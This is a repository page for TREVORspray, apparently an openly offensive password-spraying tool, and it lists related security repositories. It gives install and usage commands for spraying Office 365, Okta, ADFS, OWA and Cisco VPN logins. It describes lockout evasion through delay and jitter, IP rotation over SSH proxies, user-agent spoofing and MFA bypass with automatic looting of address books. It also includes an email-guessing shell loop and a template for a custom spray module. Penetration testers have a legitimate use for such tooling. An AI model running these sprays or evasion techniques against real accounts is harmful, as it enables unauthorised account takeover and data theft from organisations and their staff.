• Stars
    star
    1,016
  • Rank 45,279 (Top 0.9 %)
  • Language
    Python
  • License
    GNU General Publi...
  • Created about 4 years ago
  • Updated 3 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

TREVORspray is a modular password sprayer with threading, clever proxying, loot modules, and more!

TREVORspray 2.0

TREVORspray is a modular password sprayer with threading, SSH proxying, loot modules, and more!

By @thetechr0mancer

License Python Version

Installation:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

See the accompanying Blog Post for a fun rant and some cool demos!

trevorspray-demo

Features

  • Threads, lots of threads
  • Multiple modules
    • msol (Office 365)
    • adfs (Active Directory Federation Services)
    • owa (Outlook Web App)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • custom modules (easy to make!)
  • Tells you the status of each account: if it exists, is locked, has MFA enabled, etc.
  • Automatic cancel/resume (remembers already-tried user/pass combos in ~/.trevorspray/tried_logins.txt)
  • Round-robin proxy through multiple IPs with --ssh or --subnet
  • Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet)
  • Spoofs User-Agent and other signatures to look like legitimate auth traffic
  • Comprehensive logging
  • Optional --delay, --jitter, and --lockout-delay between requests to bypass lockout countermeasures
  • IPv6 support
  • O365 MFA bypass support (disable with --no-loot)
    • IMAP
    • SMTP
    • POP
    • EWS (Exchange Web Services) - Automatically retrieves GAL (Global Address Book)
    • EAS (Exchange ActiveSync)
      • Recommended bypass: BlueMail Android app
    • EXO (Exchange Online PowerShell)
    • UM (Exchange Unified Messaging)
    • AutoDiscover - Automatically retrieves OAB (Offline Address Book)
    • Azure Portal Access
  • Domain --recon with the following features:
    • list MX/TXT records
    • list O365 info
      • tenant ID
      • tenant name
      • other tentant domains
      • sharepoint URL
      • authentication urls, autodiscover, federation config, etc.
    • User enumeration (use --recon and --users):
      • OneDrive
      • Azure Seamless SSO

How To - O365

  • First, get a list of emails for corp.com and perform a spray to see if the default configuration works. Usually it does.
  • If TREVORspray says the emails in your list don't exist, don't give up. Get the token_endpoint with --recon corp.com. The token_endpoint is the URL you'll be spraying against (with the --url option).
  • It may take some experimentation before you find the right combination of token_endpoint + email format.
    • For example, if you're attacking corp.com, it may not be as easy as spraying corp.com. You may find that Corp's parent company Evilcorp owns their Azure tenant, meaning that you need to spray against evilcorp.com's token_endpoint. Also, you may find that corp.com's internal domain corp.local is used instead of corp.com.
    • So in the end, instead of spraying [email protected] against corp.com's token_endpoint, you're spraying [email protected] against evilcorp.com's.

Example: Perform recon against a domain (retrieves tenant info, autodiscover, mx records, etc.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Example: Enumerate users via OneDrive (no failed logins)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

Example: Spray against discovered "token_endpoint" URL

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Example: Spray with 5-second delay between requests

trevorspray -u [email protected] -p 'Welcome123' --delay 5

Example: Spray and round-robin between 3 IPs (the current IP is also used, unless -n is specified)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Example: Find valid usernames without OSINT >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Extract data from downloaded LZX files

When TREVORspray successfully bypasses MFA and retrieves an Offline Address Book (OAB), the address book is downloaded in LZX format to ~/.trevorspray/loot. LZX is an ancient and obnoxious compression algorithm used by Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Help:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,anyconnect,adfs,msol}] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL] [-r DOMAIN] [-t THREADS] [-f] [-d DELAY]
                   [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent] [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]]
                   [-i KEY] [-b BASE_PORT] [-n] [--interface INTERFACE] [--subnet SUBNET]

A password sprayer with the option to load-balance traffic through SSH hosts

optional arguments:
  -h, --help            show this help message and exit

basic arguments:
  -m {owa,okta,anyconnect,adfs,msol}, --module {owa,okta,anyconnect,adfs,msol}
                        Spray module to use (default: msol)
  -u USERS [USERS ...], --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p PASSWORDS [PASSWORDS ...], --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) that will be used to perform the password spray
  --url URL             The URL to spray against
  -r DOMAIN, --recon DOMAIN, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t THREADS, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d DELAY, --delay DELAY
                        Sleep for this many seconds between requests
  -ld LOCKOUT_DELAY, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j JITTER, --jitter JITTER
                        Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s USER@SERVER [USER@SERVER ...], --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i KEY, -k KEY, --key KEY
                        Use this SSH key when connecting to proxy hosts
  -b BASE_PORT, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --interface INTERFACE
                        Interface to send packets on
  --subnet SUBNET       Subnet to send packets from

Writing your own Spray Modules

If you need to spray a service/endpoint that's not supported yet, you can write your own spray module! This is a great option because custom modules benefit from all of TREVORspray's features -- e.g. proxies, delay, jitter, etc.

Writing your own spray module is pretty straightforward. Create a new .py file in lib/sprayers (e.g. lib/sprayers/custom_sprayer.py), and create a class that inherits from BaseSprayModule. You can call the class whatever you want. Fill out the HTTP method and any other parameters that you need in the requests (you can reference lib/sprayers/base.py or any of the other modules for examples).

  • You only need to implement one method on your custom class: check_response(). This method evaluates the HTTP response to determine whether the login was successful.
  • Once you're finished, you can use the custom spray module by specifying the name of your python file (without the .py) on the command line, e.g. trevorspray -m custom_sprayer -u users.txt -p Welcome123.
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

CREDIT WHERE CREDIT IS DUE - MANY THANKS TO:

trevor

#trevorforget

More Repositories

1

bbot

A recursive internet scanner for hackers.
Python
4,389
star
2

writehat

A pentest reporting tool written in Python. Free yourself from Microsoft Word.
Python
1,260
star
3

MANSPIDER

Spider entire networks for juicy files sitting on SMB shares. Search filenames or file content - regex supported!
Python
974
star
4

badsecrets

A library for detecting known secrets across many web frameworks
Python
471
star
5

TREVORproxy

A SOCKS proxy written in Python that randomizes your source IP address. Round-robin your evil packets through SSH tunnels or give them billions of unique source addresses!
Python
315
star
6

offensive-azure

Collection of offensive tools targeting Microsoft Azure
Python
164
star
7

kali-setup-script

Bash script which prepares Kali for a pentest by enabling session logging, installing tools, and making common configuration changes
Shell
136
star
8

baddns

Check subdomains for subdomain takeovers and other DNS tomfoolery
Python
94
star
9

spiderfoot-neo4j

Import, visualize, and analyze SpiderFoot scans in Neo4j, a graph database
Python
65
star
10

credshed

credshed - a scalable database for credential leaks. Written in Python, it can easily ingest poorly-formatted files or entire directories into a searchable database. MongoDB is used in the backend.
Python
53
star
11

cloudcheck

Check whether an IP address or hostname belongs to popular cloud providers
Python
45
star
12

dp_cryptomg

Another tool for exploiting CVE-2017-9248, a cryptographic weakness in Telerik UI for ASP.NET AJAX dialog handler.
Python
43
star
13

KCMTicketFormatter

Format SSSD Raw Kerberos Payloads into CCACHE files for use on Windows systems
Python
35
star
14

Convert-Invoke-Kerberoast

Converts the output from Invoke-Kerberoast into hashcat format.
Python
32
star
15

fulcrom

A web shell for pivoting and lateral movement
Python
32
star
16

evilginx-setup-script

A quick-and-easy bash script installing and launching EvilGinx2, a phishing reverse-proxy
Shell
24
star
17

bls-bible

BLS-Bible is a knowledge-base application that houses a collection of guides and write-ups that BLS uses for our various operations.
Python
24
star
18

zmap-asset-inventory

Python script which takes internal asset inventory at scale using zmap. Outputs to CSV.
Python
20
star
19

public-dns-servers

A CI/CD-verified list of the internet's known-good public DNS servers (from public-dns.info) Updated weekly!
Python
20
star
20

enter_the_matrix

ETM enables the creation of detailed attack graphs and figures while calculating the risk associated with your attack narratives. ETM was built keeping NIST recommendations on threat matrices in mind. Features an API to interact on your data to act as a living database of your executed threat models.
C#
20
star
21

bbot-vivagraphjs

Visualize BBOT scans in realtime with VivaGraphJS
HTML
19
star
22

webspray

Fuzz for hidden proxies, vhosts, and URLs
Python
16
star
23

sigma-rules

A collection of Sigma rules organized by MITRE ATT&CK technique
13
star
24

bbot-module-playground

A proving grounds for young and aspiring BBOT modules
Python
13
star
25

nmappalyzer

A lightweight Python 3 Nmap wrapper that doesn't try too hard. Gracefully handles any Nmap command, providing access to all output types (normal, greppable, xml), plus JSON!
Python
12
star
26

mklnk

Create a lnk shortcut file for Windows
Python
8
star
27

parse-crackmapexec

Generates statistics based on output from CrackMapExec. Ideal for enumeration of host-based controls.
Python
8
star
28

credshed-api

REST API for Credshed
Python
6
star
29

credshed-gui

Vue.js frontend for credshed
SCSS
6
star
30

Cisco-7937G-PoCs

Proofs of concept for three vulnerabilities affecting the Cisco 7937G Conference Station
Python
5
star
31

JSDiagrammer

Simple javascript library that will aid in creating simple diagrams with pictures for nodes and arrows for the edges connecting nodes.
JavaScript
5
star
32

blue-resources

A collection of helpful blue team resources
4
star
33

radixtarget

RadixTarget is a performant radix implementation designed for quick lookups of IP addresses/networks and DNS hostnames.
Python
4
star
34

filter-qualys-csv

Cut down on the size of Qualys' scan results by filtering based on severity, keywords, etc. Written in Python.
Python
3
star
35

BLSPyUtils

Repo for small functions used often in Python.
Python
3
star
36

ASM_BBOT_Training

HCL
2
star